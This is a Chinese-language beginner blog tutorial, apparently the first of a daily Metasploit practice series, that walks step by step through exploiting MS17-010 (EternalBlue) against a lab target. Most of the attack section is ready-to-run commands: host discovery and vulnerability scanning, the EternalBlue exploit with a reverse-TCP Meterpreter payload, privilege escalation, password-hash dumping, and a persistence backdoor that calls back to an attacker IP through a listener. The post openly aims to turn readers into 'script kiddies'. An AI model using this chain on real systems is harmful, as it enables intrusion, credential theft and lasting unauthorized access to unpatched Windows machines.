【MSF 每日一练 001】MS17-010(永恒之蓝)

【MSF 每日一练 001】MS17-010(永恒之蓝)

引言

​ 那么从今天开始我将每天发布一个使用 MSF 的练习,这些练习不会很难,供初学者练手使用,仅需有一定在Linux 基础即可学习,成为一名合格的脚本小子。

​ 作为第一篇文章,我觉得我有必要简洁的介绍一下我们使用的 MSF,之后的文章中不会有了。

什么是 MSF?

​ Metasploit Framework 是一个开源的渗透测试框架,它集成了大量的漏洞利用模块、辅助模块和后渗透工具,帮助安全人员测试系统的安全性。简单来说,它就像是一个"黑客工具箱",里面装满了各种测试工具,常被简称为 MSF。

MSF 的主要组件:

msfconsole:主控制台,我们主要在这里操作

模块(Modules):

​ Exploits: 漏洞利用程序

​ Payloads: 载荷,成功利用漏洞后在目标上执行的代码

​ Auxiliary: 辅助模块,如扫描器

​ Post: 后渗透模块,获取访问权限后使用

基本使用方法

启动 MSF

​ 打开 Kali 终端,输入

sudo msfconsole

​ 当你看到 MSF 的启动画面时,说明已经成功进入了MSF 控制台。

基本命令

​ 首先让我们了解一些基本命令:

help # 显示帮助信息

search 关键词 # 搜索相关模块

info 模块名称 # 查看模块详细信息

use 模块路径 # 使用指定模块

show options # 显示当前模块需要设置的选项

set 选项 参数 # 设置模块选项参数

run # 执行当前模块

​ 如,假如你想搜寻 Windows 相关漏洞:

search windows

​ 也可进行筛选缩小范围:

search type:exploit platform:windows

MSF 使用流程

​ MSF 的操作极其简单,只有三个步骤:选择模块,设置模块参数,执行模块,也就是 use set run 打一套组合拳。

MS17-010(永恒之蓝)漏洞介绍

漏洞概述

​ MS17-010,通常被称为“永恒之蓝”(EternalBlue),是一个影响 Windows 系统 SMB(服务器消息块)服务的严重安全漏洞。它于 2017 年 3 月 14 日被微软正式披露并发布补丁,但在 2017 年 5 月被用于全球范围内的 WannaCry 勒索软件攻击后才真正引起全世界的注意。

漏洞本质

类型:SMB 协议中的远程代码执行漏洞(RCE)

CVE编号:CVE-2017-0143 至 CVE-2017-0148

影响组件:Windows SMB

工作原理

​ 永恒之蓝漏洞利用了 Windows SMB v1 协议处理特定请求的缺陷:

攻击者向 SMB 服务发送特制的数据包

这些数据包触发 SMB 服务中的缓冲区溢出

溢出允许攻击者在目标系统上执行任意代码

由于 SMB 服务通常以 SYSTEM 权限运行,攻击者可直接获得系统最高权限

受影响系统

Windows XP

Windows Vista

Windows 7

Windows 8/8.1

Windows 10(早期版本)

Windows Server 2003

Windows Server 2008/2008 R2

Windows Server 2012/2012 R2

Windows Server 2016(早期版本)

严重性

CVSS评分:9.3(严重)

攻击向量:网络

攻击复杂度:低

特权要求:无需任何权限

用户交互:无需用户交互

漏洞注入

1. 信息收集

​ 首先,我们既然要打靶机 ,必须需要知道它的 IP 地址,则可以调用 arp_sweep 模块(ARP 是地址解析协议,用于将 IP 地址映射到 MAC 地址),它可以用于发现同一网络中的活跃主机,首先搜索该模块:

search arp_sweep

​ 可以看到该模块的路径,可以直接复制该路径使用模块:

use auxiliary/scanner/discovery/arp_sweep

​ 也可以使用模块编号,也就是 # 那列的序号:

use 0

​ 这时候就可以用 show options 查看模块需要设置的选项了:

show options

​ 可以看到,Required 列为 yes 的为必须设置的选项,在 Current Setting 列已经有值的为系统设置的默认值,我们暂时不用改它,可以看到 RHOSTS 为空,且 Required 为 yes,那么我们要设置它:

set RHOSTS 192.168.206.0/24

​ RHOSTS 是“Remote Hosts”的缩写,表示目标主机。这条命令会扫描整个 192.168.206.0 到 192.168.206.255 范围内的所有主机。你需要根据你的网段来调整这个值,如果不知道自己所处的网段,使用 ifconfig 即可查看,此为 Linux 基础不再赘述。

​ 接着执行:

run

​ 可以看到靶机的 IP 地址为 192.168.206.133(剩下两个 IP 都是 VMware 的默认配置)。

2. 漏洞扫描

​ 锁定目标 IP 后,我们需要确认它是否存在 MS17-010 漏洞:

use auxiliary/scanner/smb/smb_ms17_010

​ 这个模块专门检测 MS17-010漏洞。SMB 是服务器消息块协议,Windows 用它来共享文件和打印机,自己进行渗透测试时,可以使用 search 找到该模块,不需要背路径。

​ 设置目标 IP(此处省略了 show options 的过程):

set RHOSTS 192.168.206.133

​ 可以看到,显示“Host is likely VULNERABLE to MS17-010!”证明该靶机极大可能存在 MS17-010 漏洞。

3. 漏洞利用

​ 确认靶机存在漏洞后,我们已经可以尝试利用它,此处依然省略 search 过程:

use exploit/windows/smb/ms17_010_eternalblue

​ 我们使用 show options 查看该模块需要设置的选项:

​ 可以看到,绝大多数参数都有默认值,我们只需设置 RHOSTS,也就是刚刚查询到的靶机 IP 即可。

set RHOSTS 192.168.206.133

​ 这里的载荷也被设置好了,使用的是“windows/x64/meterpreter/reverse_tcp”该路径代表:

windows:目标操作系统平台

x64:64 位架构

meterpreter:高级后渗透工具,提供交互式 shell

reverse_tcp:连接方式,通过 TCP 协议反向连接回攻击者

​ 若未设置,可使用:

set PAYLOAD windows/x64/meterpreter/reverse_tcp

​ 本机的 IP 和端口号(用于接收反向连接)已经被默认设置好了,若需要更改端口号也可以使用:

set LPORT XXXXX

​ 这将会把接收端口号设置为 xxxxx(替换为你想设置的闲置端口号)。

​ 设置好后,直接执行:

run

4. Meterpreter 会话

​ 如果攻击成功,你会获得一个 Meterpreter 会话。也就是我们刚刚设置的 Payload。

​ 在该会话中,你可以执行:

getuid

​ 这会显示我们在靶机中的用户权限,如果显示“NT AUTHORITY\SYSTEM”表示已获得系统最高权限。

​ 可以使用 sysinfo 查看靶机系统的操作系统版本、计算机名等信息。

sysinfo

5. 提权

​ 若没有获得 SYSTEM 权限,你可以尝试提权:

getsystem

​ 这个命令会尝试多种方法自动获取 SYSTEM 权限。

​ 我们也可以获取系统中的密码哈希:

run post/windows/gather/smart_hashdump

​ 在已建立的 Meterpreter 会话中,可以直接使用 run 命令执行各种后渗透模块,不需要提前 use set。

run 模块名称 参数1 参数2 参数3

6. 后门植入

​ 为了在将来能够重新连接到目标,我们可以植入后门:

run persistence -X -i 30 -p 4444 -r 192.168.206.129

​ 调用 persistence 模块,用于建立持久化连接。

​ 可选项参数解释:

-X:在系统启动时运行

-i 30:每 30 秒尝试连接一次

-p 4444:替换为你的闲置端口号

-r 192.168.206.129:替换为你的 IP 地址

​ 之后我们设置一个监听器等待连接即可:

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.206.129

set LPORT 4444

run -j

​ 此处 -j 可选项为后台执行。

​ 执行后,当目标系统启动并运行持久化模块时,它会尝试连接回你的机器,我们将获得一个新的 Meterpreter 会话。

总结

​ 懒得写了。

相关推荐

3个电脑超频技巧,让你的电脑运行如飞!
wps邮箱怎么注册?
365etb为什么关闭账号

wps邮箱怎么注册?

09-24 👁️ 3388
求推荐一款接收信号强的网桥
365etb为什么关闭账号

求推荐一款接收信号强的网桥

02-24 👁️ 9499
lililicat 的专栏:狸猫的窝
365bet有手机版吗

lililicat 的专栏:狸猫的窝

01-30 👁️ 1871
怎么在电脑上发传真 在电脑上接收传真方法介绍【详细步骤】
乐办公网页版
365bet有手机版吗

乐办公网页版

07-23 👁️ 2124